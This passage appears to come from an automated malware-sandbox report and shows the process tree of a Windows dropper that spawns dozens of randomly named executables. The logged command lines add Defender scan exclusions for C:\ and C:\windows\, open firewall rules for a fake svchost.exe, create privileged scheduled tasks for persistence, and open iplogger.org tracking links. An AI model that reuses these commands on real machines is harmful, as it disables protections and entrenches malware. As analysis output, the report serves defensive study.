                Creates scheduled task(s)
                PID:6740
              • C:\Windows\SysWOW64\schtasks.exe
                schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
                Creates scheduled task(s)
                PID:2520
              • C:\Users\Admin\Documents\LZo3uHmqEe7WaOv41HQTf_MP.exe
                "C:\Users\Admin\Documents\LZo3uHmqEe7WaOv41HQTf_MP.exe"
                PID:768
                • C:\Users\Admin\Pictures\Adobe Films\kScyjX_697MxdkSuTNX2g2Ax.exe
                  "C:\Users\Admin\Pictures\Adobe Films\kScyjX_697MxdkSuTNX2g2Ax.exe"
                  PID:720
                • C:\Users\Admin\Pictures\Adobe Films\pEyn68KCIt0itJH4iKZvgEAu.exe
                  "C:\Users\Admin\Pictures\Adobe Films\pEyn68KCIt0itJH4iKZvgEAu.exe"
                  PID:6636
                • C:\Users\Admin\Pictures\Adobe Films\8FJGKxivgvVEuUgZKSN0CDD9.exe
                  "C:\Users\Admin\Pictures\Adobe Films\8FJGKxivgvVEuUgZKSN0CDD9.exe"
                  PID:5484
                • C:\Users\Admin\Pictures\Adobe Films\hjqXfAFsvz5Q8eDA5pfajlfi.exe
                  "C:\Users\Admin\Pictures\Adobe Films\hjqXfAFsvz5Q8eDA5pfajlfi.exe"
                  PID:5352
                • C:\Users\Admin\Pictures\Adobe Films\hd5Up9D1c4lV8RDST2m8FL6h.exe
                  "C:\Users\Admin\Pictures\Adobe Films\hd5Up9D1c4lV8RDST2m8FL6h.exe"
                  PID:2856
                • C:\Users\Admin\Pictures\Adobe Films\xPhzFS0WiIqXK95807M9F0ID.exe
                  "C:\Users\Admin\Pictures\Adobe Films\xPhzFS0WiIqXK95807M9F0ID.exe"
                  PID:6344
                • C:\Users\Admin\Pictures\Adobe Films\U9Pr2AcNQwkZaUDq4zE6RmZ5.exe
                  "C:\Users\Admin\Pictures\Adobe Films\U9Pr2AcNQwkZaUDq4zE6RmZ5.exe"
                  PID:2204
                • C:\Users\Admin\Pictures\Adobe Films\_eW_0tDTQ4Xa09EOSeO4CEcf.exe
                  "C:\Users\Admin\Pictures\Adobe Films\_eW_0tDTQ4Xa09EOSeO4CEcf.exe"
                  PID:7332
                  • C:\Users\Admin\AppData\Local\Temp\is-3DICE.tmp\_eW_0tDTQ4Xa09EOSeO4CEcf.tmp
                    "C:\Users\Admin\AppData\Local\Temp\is-3DICE.tmp\_eW_0tDTQ4Xa09EOSeO4CEcf.tmp" /SL5="$2037A,506127,422400,C:\Users\Admin\Pictures\Adobe Films\_eW_0tDTQ4Xa09EOSeO4CEcf.exe"
                    PID:7580
            • C:\Users\Admin\Pictures\Adobe Films\_Adzo3adyxifwp9V_ZrgWSgH.exe
              "C:\Users\Admin\Pictures\Adobe Films\_Adzo3adyxifwp9V_ZrgWSgH.exe"
              PID:1592
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c Tue010769fc7f9829.exe
          PID:2476
          • C:\Users\Admin\AppData\Local\Temp\7zS8163F794\Tue010769fc7f9829.exe
            Tue010769fc7f9829.exe
            Executes dropped EXE
            Suspicious use of AdjustPrivilegeToken
            PID:1060
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c Tue0138d4026db6d813e.exe /mixone
          PID:3684
          • C:\Users\Admin\AppData\Local\Temp\7zS8163F794\Tue0138d4026db6d813e.exe
            Tue0138d4026db6d813e.exe /mixone
            Executes dropped EXE
            PID:2944
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 2944 -s 240
              Program crash
              PID:6632
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c Tue01c451610f4a.exe
          PID:1908
          • C:\Users\Admin\AppData\Local\Temp\7zS8163F794\Tue01c451610f4a.exe
            Tue01c451610f4a.exe
            Executes dropped EXE
            Suspicious use of FindShellTrayWindow
            Suspicious use of SendNotifyMessage
            PID:2264
            • C:\Users\Public\run.exe
              C:\Users\Public\run.exe
              Executes dropped EXE
              PID:5752
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
                PID:5936
            • C:\Users\Public\run2.exe
              C:\Users\Public\run2.exe
              PID:2352
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://iplogger.org/18tji7
                PID:6896
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff8e04246f8,0x7ff8e0424708,0x7ff8e0424718
                  PID:7028
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2044,278361475842998024,8852924895566572128,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2068 /prefetch:2
                  PID:6400
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2044,278361475842998024,8852924895566572128,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2280 /prefetch:3
                  PID:6912
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2044,278361475842998024,8852924895566572128,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2672 /prefetch:8
                  PID:6768
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,278361475842998024,8852924895566572128,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3344 /prefetch:1
                  PID:3612
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,278361475842998024,8852924895566572128,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3388 /prefetch:1
                  PID:5376
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,278361475842998024,8852924895566572128,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4396 /prefetch:1
                  PID:6976
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,278361475842998024,8852924895566572128,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4412 /prefetch:1
                  PID:796
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,278361475842998024,8852924895566572128,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3508 /prefetch:1
                  PID:2880
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,278361475842998024,8852924895566572128,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4864 /prefetch:1
                  PID:1500
                • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2044,278361475842998024,8852924895566572128,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5936 /prefetch:8
                  PID:5264
                • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2044,278361475842998024,8852924895566572128,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5936 /prefetch:8
                  PID:6960
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,278361475842998024,8852924895566572128,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5644 /prefetch:1
                  PID:3524
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,278361475842998024,8852924895566572128,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4512 /prefetch:1
                  PID:1008
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,278361475842998024,8852924895566572128,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6040 /prefetch:1
                  PID:2412
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c Tue018bc5c5a0a3d4.exe
          PID:4980
          • C:\Users\Admin\AppData\Local\Temp\7zS8163F794\Tue018bc5c5a0a3d4.exe
            Tue018bc5c5a0a3d4.exe
            Executes dropped EXE
            Suspicious use of AdjustPrivilegeToken
            PID:3716
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c Tue0195119235.exe
          PID:4624
          • C:\Users\Admin\AppData\Local\Temp\7zS8163F794\Tue0195119235.exe
            Tue0195119235.exe
            Executes dropped EXE
            PID:1044
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c Tue01bf08f313b912.exe
          PID:5076
          • C:\Users\Admin\AppData\Local\Temp\7zS8163F794\Tue01bf08f313b912.exe
            Tue01bf08f313b912.exe
            Executes dropped EXE
            Suspicious use of AdjustPrivilegeToken
            PID:3440
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 3440 -s 1888
              Program crash
              PID:6492
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c Tue01bba8b80fa4.exe
          PID:4816
          • C:\Users\Admin\AppData\Local\Temp\7zS8163F794\Tue01bba8b80fa4.exe
            Tue01bba8b80fa4.exe
            Executes dropped EXE
            PID:1452
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 1452 -s 276
              Program crash
              PID:5884
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c Tue01e8898e0d1fce4.exe
          PID:2548
          • C:\Users\Admin\AppData\Local\Temp\7zS8163F794\Tue01e8898e0d1fce4.exe
            Tue01e8898e0d1fce4.exe
            Executes dropped EXE
            PID:2112
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c Tue017abac33187.exe
          PID:2912
          • C:\Users\Admin\AppData\Local\Temp\7zS8163F794\Tue017abac33187.exe
            Tue017abac33187.exe
            Executes dropped EXE
            Suspicious use of SetThreadContext
            PID:3600
            • C:\Users\Admin\AppData\Local\Temp\7zS8163F794\Tue017abac33187.exe
              C:\Users\Admin\AppData\Local\Temp\7zS8163F794\Tue017abac33187.exe
              Executes dropped EXE
              PID:6072
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://iplogger.org/1BEJv7
                PID:6560
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x104,0x108,0x10c,0xe0,0x110,0x7ff8e04246f8,0x7ff8e0424708,0x7ff8e0424718
                  PID:6584
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://maper.info/XBFkb
                PID:3176
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c Tue01994ec7a792fea9.exe
          Suspicious use of WriteProcessMemory
          PID:2420
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c Tue0121ab289cd9a.exe
          PID:2172
          • C:\Users\Admin\AppData\Local\Temp\7zS8163F794\Tue0121ab289cd9a.exe
            Tue0121ab289cd9a.exe
            Executes dropped EXE
            PID:1356
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c Tue0105f10596.exe
          PID:5000
          • C:\Users\Admin\AppData\Local\Temp\7zS8163F794\Tue0105f10596.exe
            Tue0105f10596.exe
            Executes dropped EXE
            Suspicious behavior: EnumeratesProcesses
            PID:2324
            • C:\Users\Admin\Pictures\Adobe Films\MNnAgqQGVlOEwufGIc_4cPl6.exe
              "C:\Users\Admin\Pictures\Adobe Films\MNnAgqQGVlOEwufGIc_4cPl6.exe"
              Executes dropped EXE
              PID:5460
            • C:\Users\Admin\Pictures\Adobe Films\4bNEn8IOX2KfX4yJBA5H67W1.exe
              "C:\Users\Admin\Pictures\Adobe Films\4bNEn8IOX2KfX4yJBA5H67W1.exe"
              PID:3472
            • C:\Users\Admin\Pictures\Adobe Films\1aXbsTlPxoqnrUrDr4lOH1Hr.exe
              "C:\Users\Admin\Pictures\Adobe Films\1aXbsTlPxoqnrUrDr4lOH1Hr.exe"
              PID:4708
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
                PID:6692
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 4708 -s 560
                Program crash
                PID:7056
            • C:\Users\Admin\Pictures\Adobe Films\xHWsIbp5zVVbKRXuSsoLXaVJ.exe
              "C:\Users\Admin\Pictures\Adobe Films\xHWsIbp5zVVbKRXuSsoLXaVJ.exe"
              PID:1404
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 1404 -s 300
                Program crash
                PID:6952
            • C:\Users\Admin\Pictures\Adobe Films\U8qtfC62MiAmZnIQ9G2Uwpyo.exe
              "C:\Users\Admin\Pictures\Adobe Films\U8qtfC62MiAmZnIQ9G2Uwpyo.exe"
              PID:5748
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 5748 -s 296
                Program crash
                PID:1076
            • C:\Users\Admin\Pictures\Adobe Films\gaO80_63OOYce9H_EEjUvjW_.exe
              "C:\Users\Admin\Pictures\Adobe Films\gaO80_63OOYce9H_EEjUvjW_.exe"
              PID:6192
              • C:\Users\Admin\Pictures\Adobe Films\gaO80_63OOYce9H_EEjUvjW_.exe
                "C:\Users\Admin\Pictures\Adobe Films\gaO80_63OOYce9H_EEjUvjW_.exe"
                PID:6804
            • C:\Users\Admin\Pictures\Adobe Films\Tim7fenNHROKFZ6Qn9HSLoKs.exe
              "C:\Users\Admin\Pictures\Adobe Films\Tim7fenNHROKFZ6Qn9HSLoKs.exe"
              PID:6744
              • C:\Users\Admin\AppData\Roaming\Calculator\setup.exe
                C:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=1
                PID:792
            • C:\Users\Admin\Pictures\Adobe Films\GVVeLJgu4eyDkZciO8jQZapH.exe
              "C:\Users\Admin\Pictures\Adobe Films\GVVeLJgu4eyDkZciO8jQZapH.exe"
              PID:6228
            • C:\Users\Admin\Pictures\Adobe Films\lIdjWWcdHlcfigPZ4kbvxz3Y.exe
              "C:\Users\Admin\Pictures\Adobe Films\lIdjWWcdHlcfigPZ4kbvxz3Y.exe"
              PID:6216
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
                PID:6956
            • C:\Users\Admin\Pictures\Adobe Films\3cBTVH4PsjQv6n7xm1vhqSCl.exe
              "C:\Users\Admin\Pictures\Adobe Films\3cBTVH4PsjQv6n7xm1vhqSCl.exe"
              PID:4188
            • C:\Users\Admin\Pictures\Adobe Films\uaftL9Lz90ZXoxdM2qco9EN0.exe
              "C:\Users\Admin\Pictures\Adobe Films\uaftL9Lz90ZXoxdM2qco9EN0.exe"
              PID:5028
            • C:\Users\Admin\Pictures\Adobe Films\W4mFXyLh5aj5_b1KiIfEgQzV.exe
              "C:\Users\Admin\Pictures\Adobe Films\W4mFXyLh5aj5_b1KiIfEgQzV.exe"
              PID:1516
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 1516 -s 296
                Program crash
                PID:1436
            • C:\Users\Admin\Pictures\Adobe Films\gbRzMq6Ecc7Ez5T9FkdNLOMW.exe
              "C:\Users\Admin\Pictures\Adobe Films\gbRzMq6Ecc7Ez5T9FkdNLOMW.exe"
              PID:6296
            • C:\Users\Admin\Pictures\Adobe Films\5vvrr1aDPVuPt7Y28kL0gt3A.exe
              "C:\Users\Admin\Pictures\Adobe Films\5vvrr1aDPVuPt7Y28kL0gt3A.exe"
              PID:6300
            • C:\Users\Admin\Pictures\Adobe Films\VK9okUQZlP5P9l9J88Vmfcpu.exe
              "C:\Users\Admin\Pictures\Adobe Films\VK9okUQZlP5P9l9J88Vmfcpu.exe"
              PID:5372
              • C:\Windows\SysWOW64\schtasks.exe
                schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
                Creates scheduled task(s)
                PID:5876
              • C:\Windows\SysWOW64\schtasks.exe
                schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
                Creates scheduled task(s)
                PID:6248
              • C:\Users\Admin\Documents\0FBHgSTbqNG0KdlZNE_O7hoe.exe
                "C:\Users\Admin\Documents\0FBHgSTbqNG0KdlZNE_O7hoe.exe"
                PID:1320
                • C:\Users\Admin\Pictures\Adobe Films\u_3amONh_LJ3cXyG9Vi0_5vr.exe
                  "C:\Users\Admin\Pictures\Adobe Films\u_3amONh_LJ3cXyG9Vi0_5vr.exe"
                  PID:5640
                • C:\Users\Admin\Pictures\Adobe Films\OahY1jSu_wh9rWjtgUhaPfiY.exe
                  "C:\Users\Admin\Pictures\Adobe Films\OahY1jSu_wh9rWjtgUhaPfiY.exe"
                  PID:5576
                • C:\Users\Admin\Pictures\Adobe Films\gKFSh95HYUosceq3WxL4oKNN.exe
                  "C:\Users\Admin\Pictures\Adobe Films\gKFSh95HYUosceq3WxL4oKNN.exe"
                  PID:2272
                • C:\Users\Admin\Pictures\Adobe Films\kMqs5XxIxRR7YqcDXHY3Zi0Y.exe
                  "C:\Users\Admin\Pictures\Adobe Films\kMqs5XxIxRR7YqcDXHY3Zi0Y.exe"
                  PID:804
                • C:\Users\Admin\Pictures\Adobe Films\EtYLIS_cZs0Ub2BkMBkRYnJO.exe
                  "C:\Users\Admin\Pictures\Adobe Films\EtYLIS_cZs0Ub2BkMBkRYnJO.exe"
                  PID:5196
                • C:\Users\Admin\Pictures\Adobe Films\5TawhY3NiLLQzWp3lzMVSN_M.exe
                  "C:\Users\Admin\Pictures\Adobe Films\5TawhY3NiLLQzWp3lzMVSN_M.exe"
                  PID:7320
                • C:\Users\Admin\Pictures\Adobe Films\P9ySjM0jgOiWtNH8yq0dIG8l.exe
                  "C:\Users\Admin\Pictures\Adobe Films\P9ySjM0jgOiWtNH8yq0dIG8l.exe"
                  PID:7368
                  • C:\Users\Admin\AppData\Local\Temp\is-A9R67.tmp\P9ySjM0jgOiWtNH8yq0dIG8l.tmp
                    "C:\Users\Admin\AppData\Local\Temp\is-A9R67.tmp\P9ySjM0jgOiWtNH8yq0dIG8l.tmp" /SL5="$3037C,506127,422400,C:\Users\Admin\Pictures\Adobe Films\P9ySjM0jgOiWtNH8yq0dIG8l.exe"
                    PID:7628
                • C:\Users\Admin\Pictures\Adobe Films\_3fMyAUsEdLSJyegasocP3SQ.exe
                  "C:\Users\Admin\Pictures\Adobe Films\_3fMyAUsEdLSJyegasocP3SQ.exe"
                  PID:7572
            • C:\Users\Admin\Pictures\Adobe Films\ndg3W2lKI5w2SgFsVDNIVqli.exe
              "C:\Users\Admin\Pictures\Adobe Films\ndg3W2lKI5w2SgFsVDNIVqli.exe"
              PID:1896
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 1896 -s 292
                Program crash
                PID:1280
            • C:\Users\Admin\Pictures\Adobe Films\30Q6piJkIEJXGJirjQoH4OyT.exe
              "C:\Users\Admin\Pictures\Adobe Films\30Q6piJkIEJXGJirjQoH4OyT.exe"
              PID:6380
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\
                PID:2548
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath \\?\C:\Windows \
                PID:5216
              • C:\Windows\System32\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes
                PID:5652
              • C:\Windows\System32\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes
                PID:6536
              • C:\Windows\SYSTEM32\schtasks.exe
                schtasks /create /sc minute /ED "11/02/2024" /mo 7 /tn "Timer" /tr c:\windows\system\svchost.exe /ru SYSTEM
                Creates scheduled task(s)
                PID:1872
              • C:\Windows\System\svchost.exe
                "C:\Windows\System\svchost.exe" formal
                PID:5348
            • C:\Users\Admin\Pictures\Adobe Films\qCeTXN7jUwVePlACInV3R0k0.exe
              "C:\Users\Admin\Pictures\Adobe Films\qCeTXN7jUwVePlACInV3R0k0.exe"
              PID:5176
            • C:\Users\Admin\Pictures\Adobe Films\guW5iQFcKXy13T_I4IOuMx3P.exe
              "C:\Users\Admin\Pictures\Adobe Films\guW5iQFcKXy13T_I4IOuMx3P.exe"
              PID:4624
            • C:\Users\Admin\Pictures\Adobe Films\CyVS7Skt09EHRr56Xd4Eyhxf.exe
              "C:\Users\Admin\Pictures\Adobe Films\CyVS7Skt09EHRr56Xd4Eyhxf.exe"
              PID:3996
              • C:\Program Files (x86)\Company\NewProduct\cutm3.exe
                "C:\Program Files (x86)\Company\NewProduct\cutm3.exe"
                PID:6508
            • C:\Users\Admin\Pictures\Adobe Films\hAMbMHSmGwzoosL8GNgaqYCj.exe
              "C:\Users\Admin\Pictures\Adobe Films\hAMbMHSmGwzoosL8GNgaqYCj.exe"
              PID:2216
            • C:\Users\Admin\Pictures\Adobe Films\Xotn3uuavbVIT5npJiZlgR7J.exe
              "C:\Users\Admin\Pictures\Adobe Films\Xotn3uuavbVIT5npJiZlgR7J.exe"
              PID:4656
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 4656 -s 300
                Program crash
                PID:7016
            • C:\Users\Admin\Pictures\Adobe Films\urqP89S7MzQsyyeIGf481ZGY.exe
              "C:\Users\Admin\Pictures\Adobe Films\urqP89S7MzQsyyeIGf481ZGY.exe"
              PID:6012
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3852 -s 668
          Drops file in Windows directory
          Program crash
          Suspicious use of AdjustPrivilegeToken
          PID:5616
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c Tue01de2411919659f09.exe
          PID:1896
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c Tue0133c29150b.exe
          PID:3056
  • C:\Windows\System32\WaaSMedicAgent.exe
    C:\Windows\System32\WaaSMedicAgent.exe 802cf18e8739efc263fbf6577cbd4087 bWtOVaBDXESK7BHq+DhsWA.0.1.0.3.0
    Modifies data under HKEY_USERS
    PID:2012
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
    Drops file in Windows directory
    Suspicious use of AdjustPrivilegeToken
    PID:2076
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
    Checks processor information in registry
    Suspicious use of AdjustPrivilegeToken
    Suspicious use of WriteProcessMemory
    PID:2212
    • C:\Windows\uus\AMD64\MoUsoCoreWorker.exe
      C:\Windows\uus\AMD64\MoUsoCoreWorker.exe
      PID:2096
  • C:\Users\Admin\AppData\Local\Temp\7zS8163F794\Tue01994ec7a792fea9.exe
    Tue01994ec7a792fea9.exe
    Executes dropped EXE
    PID:768
    • C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\_Dzpafigaxd.vbs"
      PID:6940
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ExclusionPath C:\,'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Google\Qekdqa.exe'
        PID:7060
    • C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Dzpafigaxd.vbs"
      PID:6316
      • C:\Users\Admin\AppData\Local\Temp\Fphrgjtnjgrqbtrochalunsaintly_2021-10-24_21-38.exe
        "C:\Users\Admin\AppData\Local\Temp\Fphrgjtnjgrqbtrochalunsaintly_2021-10-24_21-38.exe"
        PID:6260
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 6260 -s 236
          Program crash
          PID:5132
    • C:\Users\Admin\AppData\Local\Temp\MSBuild.exe
      C:\Users\Admin\AppData\Local\Temp\MSBuild.exe
      PID:6184
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection www.google.com
        PID:4980
  • C:\Users\Admin\AppData\Local\Temp\7zS8163F794\Tue01de2411919659f09.exe
    Tue01de2411919659f09.exe
    Executes dropped EXE
    Suspicious use of SetThreadContext
    PID:1888
